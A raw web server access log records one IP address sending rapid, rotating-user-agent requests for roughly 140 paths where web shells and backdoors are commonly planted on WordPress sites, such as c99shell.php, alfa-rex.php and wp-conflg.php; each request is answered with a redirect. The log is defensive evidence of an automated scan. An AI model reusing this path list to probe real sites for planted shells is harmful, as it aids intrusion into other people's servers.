[05/Feb/2026:07:06:38 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:06:38 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:39 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:39 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:39 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:40 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:40 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:06:41 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:41 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:41 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:06:42 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:06:42 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:42 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:42 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:43 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:06:43 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:06:43 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:44 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:44 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:44 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:45 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:45 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:45 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:46 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:46 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:06:46 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:47 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:47 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:48 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:48 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:48 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:49 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:06:49 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:49 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:50 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:50 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:50 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:06:51 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:51 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:51 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:52 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:06:52 +0300] "GET /wordpress/wp-admin/includes/wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:53 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:53 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:06:54 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:54 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:54 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:55 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:55 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:55 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:56 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:06:56 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:56 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:57 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:57 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:58 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:58 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:58 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:58 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:59 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:59 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:07:00 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:00 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:01 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:01 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:01 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:02 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:07:02 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:03 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:03 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:03 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:04 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:04 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:04 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:07:05 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:05 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:05 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:07:06 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:07:07 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:07 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:07:08 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:07:08 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:08 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:09 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:07:09 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:09 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:10 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:10 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:10 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:07:11 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:07:11 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:11 +0300] "GET /img/prettyPhoto/dark_square/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:12 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:12 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:07:13 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:13 +0300] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:13 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:14 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:07:14 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:14 +0300] "GET /css/hekokstyle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:15 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:15 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:07:15 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:07:16 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:16 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:16 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:07:17 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:07:17 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:18 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:07:18 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:18 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:07:19 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:19 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 